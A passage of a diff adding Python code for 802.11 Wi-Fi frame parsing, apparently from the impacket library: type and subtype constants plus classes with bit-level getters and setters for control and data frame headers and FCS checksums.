+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ATIM<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_DISASSOCIATION = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_AUTHENTICATION = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_DEAUTHENTICATION = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_ACTION = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ACTION<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED3 = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED3<<2
+    DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED4 = \
+        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED4<<2
+    
+    # Control Types/SubTypes
+    DOT11_TYPE_CONTROL                              = int("01",2)
+    DOT11_SUBTYPE_CONTROL_RESERVED1                 = int("0000",2)
+    DOT11_SUBTYPE_CONTROL_RESERVED2                 = int("0001",2)
+    DOT11_SUBTYPE_CONTROL_RESERVED3                 = int("0010",2)
+    DOT11_SUBTYPE_CONTROL_RESERVED4                 = int("0011",2)
+    DOT11_SUBTYPE_CONTROL_RESERVED5                 = int("0100",2)
+    DOT11_SUBTYPE_CONTROL_RESERVED6                 = int("0101",2)
+    DOT11_SUBTYPE_CONTROL_RESERVED7                 = int("0110",2)
+    DOT11_SUBTYPE_CONTROL_RESERVED8                 = int("0111",2)
+    DOT11_SUBTYPE_CONTROL_BLOCK_ACK_REQUEST         = int("1000",2)
+    DOT11_SUBTYPE_CONTROL_BLOCK_ACK                 = int("1001",2)
+    DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL            = int("1010",2)
+    DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND           = int("1011",2)
+    DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND             = int("1100",2)
+    DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT            = int("1101",2)
+    DOT11_SUBTYPE_CONTROL_CF_END                    = int("1110",2)
+    DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK             = int("1111",2)
+
+    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED1 = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED1<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED2 = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED2<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED3 = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED3<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED4 = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED4<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED5 = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED5<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED6 = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED6<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED7 = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED7<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_BLOCK_ACK_REQUEST = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_BLOCK_ACK_REQUEST<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_BLOCK_ACK = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_BLOCK_ACK<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_CF_END = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_CF_END<<2
+    DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK = \
+        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK<<2
+
+    # Data Types/SubTypes
+    DOT11_TYPE_DATA                                = int("10",2)
+    DOT11_SUBTYPE_DATA                             = int("0000",2)
+    DOT11_SUBTYPE_DATA_CF_ACK                      = int("0001",2)
+    DOT11_SUBTYPE_DATA_CF_POLL                     = int("0010",2)
+    DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL              = int("0011",2)
+    DOT11_SUBTYPE_DATA_NULL_NO_DATA                = int("0100",2)
+    DOT11_SUBTYPE_DATA_CF_ACK_NO_DATA              = int("0101",2)
+    DOT11_SUBTYPE_DATA_CF_POLL_NO_DATA             = int("0110",2)
+    DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL_NO_DATA      = int("0111",2)
+    DOT11_SUBTYPE_DATA_QOS_DATA                    = int("1000",2)
+    DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK             = int("1001",2)
+    DOT11_SUBTYPE_DATA_QOS_DATA_CF_POLL            = int("1010",2)
+    DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK_CF_POLL     = int("1011",2)
+    DOT11_SUBTYPE_DATA_QOS_NULL_NO_DATA            = int("1100",2)
+    DOT11_SUBTYPE_DATA_RESERVED1                   = int("1101",2)
+    DOT11_SUBTYPE_DATA_QOS_CF_POLL_NO_DATA         = int("1110",2)
+    DOT11_SUBTYPE_DATA_QOS_CF_ACK_CF_POLL_NO_DATA  = int("1111",2)
+
+    DOT11_TYPE_DATA_SUBTYPE_DATA = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA<<2
+    DOT11_TYPE_DATA_SUBTYPE_CF_ACK = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_ACK<<2
+    DOT11_TYPE_DATA_SUBTYPE_CF_POLL = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_POLL<<2
+    DOT11_TYPE_DATA_SUBTYPE_CF_ACK_CF_POLL = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL<<2
+    DOT11_TYPE_DATA_SUBTYPE_NULL_NO_DATA = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_NULL_NO_DATA<<2
+    DOT11_TYPE_DATA_SUBTYPE_CF_ACK_NO_DATA = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_POLL_NO_DATA<<2
+    DOT11_TYPE_DATA_SUBTYPE_CF_ACK_CF_POLL_NO_DATA = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL_NO_DATA<<2
+    DOT11_TYPE_DATA_SUBTYPE_QOS_DATA = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA<<2
+    DOT11_TYPE_DATA_SUBTYPE_QOS_DATA_CF_ACK = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK<<2
+    DOT11_TYPE_DATA_SUBTYPE_QOS_DATA_CF_POLL = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA_CF_POLL<<2
+    DOT11_TYPE_DATA_SUBTYPE_QOS_DATA_CF_ACK_CF_POLL = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK_CF_POLL<<2
+    DOT11_TYPE_DATA_SUBTYPE_QOS_NULL_NO_DATA = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_NULL_NO_DATA<<2
+    DOT11_TYPE_DATA_SUBTYPE_RESERVED1 = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_RESERVED1<<2
+    DOT11_TYPE_DATA_SUBTYPE_QOS_CF_POLL_NO_DATA = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_CF_POLL_NO_DATA<<2
+    DOT11_TYPE_DATA_SUBTYPE_QOS_CF_ACK_CF_POLL_NO_DATA = \
+        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_CF_ACK_CF_POLL_NO_DATA<<2
+
+    # Reserved Types/SubTypes
+    DOT11_TYPE_RESERVED = int("11",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED1               = int("0000",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED2               = int("0001",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED3               = int("0010",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED4               = int("0011",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED5               = int("0100",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED6               = int("0101",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED7               = int("0110",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED8               = int("0111",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED9               = int("1000",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED10              = int("1001",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED11              = int("1010",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED12              = int("1011",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED13              = int("1100",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED14              = int("1101",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED15              = int("1110",2)
+    DOT11_SUBTYPE_RESERVED_RESERVED16              = int("1111",2)
+
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED1 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED1<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED2 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED2<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED3 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED3<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED4 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED4<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED5 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED5<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED6 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED6<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED7 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED7<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED8 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED8<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED9 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED9<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED10 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED10<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED11 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED11<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED12 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED12<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED13 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED13<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED14 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED14<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED15 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED15<<2
+    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED16 = \
+        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED16<<2
+
+class Dot11(ProtocolPacket):    
+    def __init__(self, aBuffer = None, FCS_at_end = True):
+        header_size = 2
+        self.__FCS_at_end=not not FCS_at_end # Is Boolean
+        if self.__FCS_at_end:
+            tail_size = 4
+        else:
+            tail_size = 0
+            
+        ProtocolPacket.__init__(self, header_size,tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+        
+    def get_order(self):
+        "Return 802.11 frame 'Order' field"
+        b = self.header.get_byte(1)
+        return ((b >> 7) & 0x01)
+
+    def set_order(self, value):
+        "Set 802.11 frame 'Order' field"
+        # clear the bits
+        mask = (~0x80) & 0xFF
+        masked = self.header.get_byte(1) & mask
+        # set the bits
+        nb = masked | ((value & 0x01) << 7)
+        self.header.set_byte(1, nb)
+
+    def get_protectedFrame(self):
+        "Return 802.11 frame 'Protected' field"
+        b = self.header.get_byte(1)
+        return ((b >> 6) & 0x01)
+
+    def set_protectedFrame(self, value):
+        "Set 802.11 frame 'Protected Frame' field"
+        # clear the bits
+        mask = (~0x40) & 0xFF
+        masked = self.header.get_byte(1) & mask
+        # set the bits
+        nb = masked | ((value & 0x01) << 6)
+        self.header.set_byte(1, nb)
+
+    def get_moreData(self):
+        "Return 802.11 frame 'More Data' field"
+        b = self.header.get_byte(1)
+        return ((b >> 5) & 0x01)
+
+    def set_moreData(self, value):
+        "Set 802.11 frame 'More Data' field"
+        # clear the bits
+        mask = (~0x20) & 0xFF
+        masked = self.header.get_byte(1) & mask
+        # set the bits
+        nb = masked | ((value & 0x01) << 5)
+        self.header.set_byte(1, nb)
+        
+    def get_powerManagement(self):
+        "Return 802.11 frame 'Power Management' field"
+        b = self.header.get_byte(1)
+        return ((b >> 4) & 0x01)
+
+    def set_powerManagement(self, value):
+        "Set 802.11 frame 'Power Management' field"
+        # clear the bits
+        mask = (~0x10) & 0xFF
+        masked = self.header.get_byte(1) & mask
+        # set the bits
+        nb = masked | ((value & 0x01) << 4)
+        self.header.set_byte(1, nb)
+  
+    def get_retry(self):
+        "Return 802.11 frame 'Retry' field"
+        b = self.header.get_byte(1)
+        return ((b >> 3) & 0x01)
+
+    def set_retry(self, value):
+        "Set 802.11 frame 'Retry' field"
+        # clear the bits
+        mask = (~0x08) & 0xFF
+        masked = self.header.get_byte(1) & mask
+        # set the bits
+        nb = masked | ((value & 0x01) << 3)
+        self.header.set_byte(1, nb)   
+        
+    def get_moreFrag(self):
+        "Return 802.11 frame 'More Fragments' field"
+        b = self.header.get_byte(1)
+        return ((b >> 2) & 0x01)
+
+    def set_moreFrag(self, value):
+        "Set 802.11 frame 'More Fragments' field"
+        # clear the bits
+        mask = (~0x04) & 0xFF
+        masked = self.header.get_byte(1) & mask
+        # set the bits
+        nb = masked | ((value & 0x01) << 2)
+        self.header.set_byte(1, nb)  
+               
+    def get_fromDS(self):
+        "Return 802.11 frame 'from DS' field"
+        b = self.header.get_byte(1)
+        return ((b >> 1) & 0x01)
+
+    def set_fromDS(self, value):
+        "Set 802.11 frame 'from DS' field"
+        # clear the bits
+        mask = (~0x02) & 0xFF
+        masked = self.header.get_byte(1) & mask
+        # set the bits
+        nb = masked | ((value & 0x01) << 1)
+        self.header.set_byte(1, nb)
+         
+    def get_toDS(self):
+        "Return 802.11 frame 'to DS' field"
+        b = self.header.get_byte(1)
+        return (b & 0x01)
+
+    def set_toDS(self, value):
+        "Set 802.11 frame 'to DS' field"
+        # clear the bits
+        mask = (~0x01) & 0xFF
+        masked = self.header.get_byte(1) & mask
+        # set the bits
+        nb = masked | (value & 0x01) 
+        self.header.set_byte(1, nb)    
+        
+    def get_subtype(self):
+        "Return 802.11 frame 'subtype' field"
+        b = self.header.get_byte(0)
+        return ((b >> 4) & 0x0F)
+
+    def set_subtype(self, value):
+        "Set 802.11 frame 'subtype' field"
+        # clear the bits
+        mask = (~0xF0)&0xFF 
+        masked = self.header.get_byte(0) & mask 
+        # set the bits
+        nb = masked | ((value << 4) & 0xF0)
+        self.header.set_byte(0, nb)
+        
+    def get_type(self):
+        "Return 802.11 frame 'type' field"
+        b = self.header.get_byte(0)
+        return ((b >> 2) & 0x03)
+
+    def set_type(self, value):
+        "Set 802.11 frame 'type' field"
+        # clear the bits
+        mask = (~0x0C)&0xFF 
+        masked = self.header.get_byte(0) & mask 
+        # set the bits
+        nb = masked | ((value << 2) & 0x0C)
+        self.header.set_byte(0, nb)
+
+    def get_type_n_subtype(self):
+        "Return 802.11 frame 'Type and Subtype' field"
+        b = self.header.get_byte(0)
+        return ((b >> 2) & 0x3F)
+
+    def set_type_n_subtype(self, value):
+        "Set 802.11 frame 'Type and Subtype' field"
+        # clear the bits
+        mask = (~0xFC)&0xFF 
+        masked = self.header.get_byte(0) & mask 
+        # set the bits
+        nb = masked | ((value << 2) & 0xFC)
+        self.header.set_byte(0, nb)
+
+    def get_version(self):
+        "Return 802.11 frame control 'Protocol version' field"
+        b = self.header.get_byte(0)
+        return (b & 0x03)
+
+    def set_version(self, value):
+        "Set the 802.11 frame control 'Protocol version' field"
+        # clear the bits
+        mask = (~0x03)&0xFF 
+        masked = self.header.get_byte(0) & mask 
+        # set the bits
+        nb = masked | (value & 0x03)
+        self.header.set_byte(0, nb)
+        
+    def compute_checksum(self,bytes):
+        crcle=crc32(bytes)&0xffffffff
+        # ggrr this crc32 is in little endian, convert it to big endian 
+        crc=struct.pack('<L', crcle)
+         # Convert to long
+        (crc_long,) = struct.unpack('!L', crc)
+        return crc_long
+
+    def is_QoS_frame(self):
+        "Return 'True' if is an QoS data frame type"
+        
+        b = self.header.get_byte(0)
+        return (b & 0x80) and True        
+
+    def is_no_framebody_frame(self):
+        "Return 'True' if it frame contain no Frame Body"
+        
+        b = self.header.get_byte(0)
+        return (b & 0x40) and True
+
+    def is_cf_poll_frame(self):
+        "Return 'True' if it frame is a CF_POLL frame"
+        
+        b = self.header.get_byte(0)
+        return (b & 0x20) and True
+
+    def is_cf_ack_frame(self):
+        "Return 'True' if it frame is a CF_ACK frame"
+        
+        b = self.header.get_byte(0)
+        return (b & 0x10) and True
+    
+    def get_fcs(self):
+        "Return 802.11 'FCS' field"
+        
+        if not self.__FCS_at_end:
+            return None   
+
+        b = self.tail.get_long(-4, ">")
+        return b 
+
+    def set_fcs(self, value = None):
+        "Set the 802.11 CTS control frame 'FCS' field. If value is None, is auto_checksum"
+
+        if not self.__FCS_at_end:   
+            return
+        
+        # calculate the FCS
+        if value is None:
+            payload = self.get_body_as_string()
+            crc32=self.compute_checksum(payload)            
+            value=crc32
+
+        # set the bits
+        nb = value & 0xFFFFFFFF
+        self.tail.set_long(-4, nb)
+
+class Dot11ControlFrameCTS(ProtocolPacket):
+    "802.11 Clear-To-Send Control Frame"
+    
+    def __init__(self, aBuffer = None):
+        header_size = 8
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+            
+    def get_duration(self):
+        "Return 802.11 CTS control frame 'Duration' field"
+        b = self.header.get_word(0, "<")
+        return b 
+
+    def set_duration(self, value):
+        "Set the 802.11 CTS control frame 'Duration' field" 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(0, nb, "<")
+        
+    def get_ra(self):
+        "Return 802.11 CTS control frame 48 bit 'Receiver Address' field as a 6 bytes array"
+        return self.header.get_bytes()[2:8]
+
+    def set_ra(self, value):
+        "Set 802.11 CTS control frame 48 bit 'Receiver Address' field as a 6 bytes array"
+        for i in range(0, 6):
+            self.header.set_byte(2+i, value[i])
+
+class Dot11ControlFrameACK(ProtocolPacket):
+    "802.11 Acknowledgement Control Frame"
+        
+    def __init__(self, aBuffer = None):
+        header_size = 8
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+            
+    def get_duration(self):
+        "Return 802.11 ACK control frame 'Duration' field"
+        b = self.header.get_word(0, "<")
+        return b 
+
+    def set_duration(self, value):
+        "Set the 802.11 ACK control frame 'Duration' field" 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(0, nb, "<")
+        
+    def get_ra(self):
+        "Return 802.11 ACK control frame 48 bit 'Receiver Address' field as a 6 bytes array"
+        return self.header.get_bytes()[2:8]
+
+    def set_ra(self, value):
+        "Set 802.11 ACK control frame 48 bit 'Receiver Address' field as a 6 bytes array"
+        for i in range(0, 6):
+            self.header.set_byte(2+i, value[i])
+
+class Dot11ControlFrameRTS(ProtocolPacket):
+    "802.11 Request-To-Send Control Frame"
+        
+    def __init__(self, aBuffer = None):
+        header_size = 14
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+    
+    def get_duration(self):
+        "Return 802.11 RTS control frame 'Duration' field"
+        b = self.header.get_word(0, "<")
+        return b 
+
+    def set_duration(self, value):
+        "Set the 802.11 RTS control frame 'Duration' field" 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(0, nb, "<")
+        
+    def get_ra(self):
+        "Return 802.11 RTS control frame 48 bit 'Receiver Address' field as a 6 bytes array"
+        return self.header.get_bytes()[2:8]
+
+    def set_ra(self, value):
+        "Set 802.11 RTS control frame 48 bit 'Receiver Address' field as a 6 bytes array"
+        for i in range(0, 6):
+            self.header.set_byte(2+i, value[i])
+
+    def get_ta(self):
+        "Return 802.11 RTS control frame 48 bit 'Transmitter Address' field as a 6 bytes array"
+        return self.header.get_bytes()[8:14]
+
+    def set_ta(self, value):
+        "Set 802.11 RTS control frame 48 bit 'Transmitter Address' field as a 6 bytes array"
+        for i in range(0, 6):
+            self.header.set_byte(8+i, value[i])            
+
+class Dot11ControlFramePSPoll(ProtocolPacket):
+    "802.11 Power-Save Poll Control Frame"
+    
+    def __init__(self, aBuffer = None):
+        header_size = 14
+        tail_size = 0
+        
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+
+    def get_aid(self):
+        "Return 802.11 PSPoll control frame 'AID' field"
+        # the spec says "The AID value always has its two MSBs each set to 1."
+        # TODO: Should we do check/modify it? Wireshark shows the only MSB to 0
+        b = self.header.get_word(0, "<")
+        return b 
+
+    def set_aid(self, value):
+        "Set the 802.11 PSPoll control frame 'AID' field" 
+        # set the bits
+        nb = value & 0xFFFF
+        # the spec says "The AID value always has its two MSBs each set to 1."
+        # TODO: Should we do check/modify it? Wireshark shows the only MSB to 0
+        self.header.set_word(0, nb, "<")
+        
+    def get_bssid(self):
+        "Return 802.11 PSPoll control frame 48 bit 'BSS ID' field as a 6 bytes array"
+        return self.header.get_bytes()[2:8]
+
+    def set_bssid(self, value):
+        "Set 802.11 PSPoll control frame 48 bit 'BSS ID' field as a 6 bytes array"
+        for i in range(0, 6):
+            self.header.set_byte(2+i, value[i])
+
+    def get_ta(self):
+        "Return 802.11 PSPoll control frame 48 bit 'Transmitter Address' field as a 6 bytes array"
+        return self.header.get_bytes()[8:14]
+
+    def set_ta(self, value):
+        "Set 802.11 PSPoll control frame 48 bit 'Transmitter Address' field as a 6 bytes array"
+        for i in range(0, 6):
+            self.header.set_byte(8+i, value[i])            
+
+class Dot11ControlFrameCFEnd(ProtocolPacket):
+    "802.11 'Contention Free End' Control Frame"
+    
+    def __init__(self, aBuffer = None):
+        header_size = 14
+        tail_size = 0
+    
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+
+    def get_duration(self):
+        "Return 802.11 CF-End control frame 'Duration' field"
+        b = self.header.get_word(0, "<")
+        return b 
+
+    def set_duration(self, value):
+        "Set the 802.11 CF-End control frame 'Duration' field" 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(0, nb, "<")
+        
+    def get_ra(self):
+        "Return 802.11 CF-End control frame 48 bit 'Receiver Address' field as a 6 bytes array"
+        return self.header.get_bytes()[2:8]
+
+    def set_ra(self, value):
+        "Set 802.11 CF-End control frame 48 bit 'Receiver Address' field as a 6 bytes array"
+        for i in range(0, 6):
+            self.header.set_byte(2+i, value[i])
+
+    def get_bssid(self):
+        "Return 802.11 CF-End control frame 48 bit 'BSS ID' field as a 6 bytes array"
+        return self.header.get_bytes()[8:14]
+
+    def set_bssid(self, value):
+        "Set 802.11 CF-End control frame 48 bit 'BSS ID' field as a 6 bytes array"
+        for i in range(0, 6):
+            self.header.set_byte(8+i, value[i])            
+
+class Dot11ControlFrameCFEndCFACK(ProtocolPacket):
+    '802.11 \'CF-End + CF-ACK\' Control Frame'
+        
+    def __init__(self, aBuffer = None):
+        header_size = 14
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+
+    def get_duration(self):
+        'Return 802.11 \'CF-End+CF-ACK\' control frame \'Duration\' field'
+        b = self.header.get_word(0, "<")
+        return b 
+
+    def set_duration(self, value):
+        'Set the 802.11 \'CF-End+CF-ACK\' control frame \'Duration\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(0, nb, "<")
+        
+    def get_ra(self):
+        'Return 802.11 \'CF-End+CF-ACK\' control frame 48 bit \'Receiver Address\' field as a 6 bytes array'
+        return self.header.get_bytes()[2:8]
+
+    def set_ra(self, value):
+        'Set 802.11 \'CF-End+CF-ACK\' control frame 48 bit \'Receiver Address\' field as a 6 bytes array'
+        for i in range(0, 6):
+            self.header.set_byte(2+i, value[i])
+
+    def get_bssid(self):
+        'Return 802.11 \'CF-End+CF-ACK\' control frame 48 bit \'BSS ID\' field as a 6 bytes array'
+        return self.header.get_bytes()[8:16]
+
+    def set_bssid(self, value):
+        'Set 802.11 \'CF-End+CF-ACK\' control frame 48 bit \'BSS ID\' field as a 6 bytes array'
+        for i in range(0, 6):
+            self.header.set_byte(8+i, value[i])            
+
+class Dot11DataFrame(ProtocolPacket):
+    '802.11 Data Frame'
+    
+    def __init__(self, aBuffer = None):
+        header_size = 22
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+        
+    def get_duration(self):
+        'Return 802.11 \'Data\' data frame \'Duration\' field'
+        b = self.header.get_word(0, "<")
+        return b 
+
+    def set_duration(self, value):
+        'Set the 802.11 \'Data\' data frame \'Duration\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(0, nb, "<")
+        
+    def get_address1(self):
+        'Return 802.11 \'Data\' data frame 48 bit \'Address1\' field as a 6 bytes array'
+        return self.header.get_bytes()[2:8]
+
+    def set_address1(self, value):
+        'Set 802.11 \'Data\' data frame 48 bit \'Address1\' field as a 6 bytes array'
+        for i in range(0, 6):
+            self.header.set_byte(2+i, value[i])
+
+    def get_address2(self):
+        'Return 802.11 \'Data\' data frame 48 bit \'Address2\' field as a 6 bytes array'
+        return self.header.get_bytes()[8:14]
+
+    def set_address2(self, value):
+        'Set 802.11 \'Data\' data frame 48 bit \'Address2\' field as a 6 bytes array'
+        for i in range(0, 6):
+            self.header.set_byte(8+i, value[i])
+            
+    def get_address3(self):
+        'Return 802.11 \'Data\' data frame 48 bit \'Address3\' field as a 6 bytes array'
+        return self.header.get_bytes()[14: 20]
+
+    def set_address3(self, value):
+        'Set 802.11 \'Data\' data frame 48 bit \'Address3\' field as a 6 bytes array'
+        for i in range(0, 6):
+            self.header.set_byte(14+i, value[i])
+
+    def get_sequence_control(self):
+        'Return 802.11 \'Data\' data frame \'Sequence Control\' field'
+        b = self.header.get_word(20, "<")
+        return b 
+
+    def set_sequence_control(self, value):
+        'Set the 802.11 \'Data\' data frame \'Sequence Control\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(20, nb, "<")
+
+    def get_fragment_number(self):
+        'Return 802.11 \'Data\' data frame \'Fragment Number\' subfield'
+
+        b = self.header.get_word(20, "<")
+        return (b&0x000F) 
+
+    def set_fragment_number(self, value):
+        'Set the 802.11 \'Data\' data frame \'Fragment Number\' subfield' 
+        # clear the bits
+        mask = (~0x000F) & 0xFFFF
+        masked = self.header.get_word(20, "<") & mask
+        # set the bits 
+        nb = masked | (value & 0x000F)
+        self.header.set_word(20, nb, "<")
+        
+    def get_sequence_number(self):
+        'Return 802.11 \'Data\' data frame \'Sequence Number\' subfield'
+        
+        b = self.header.get_word(20, "<")
+        return ((b>>4) & 0xFFF) 
+    
+    def set_sequence_number(self, value):
+        'Set the 802.11 \'Data\' data frame \'Sequence Number\' subfield' 
+        # clear the bits
+        mask = (~0xFFF0) & 0xFFFF
+        masked = self.header.get_word(20, "<") & mask
+        # set the bits 
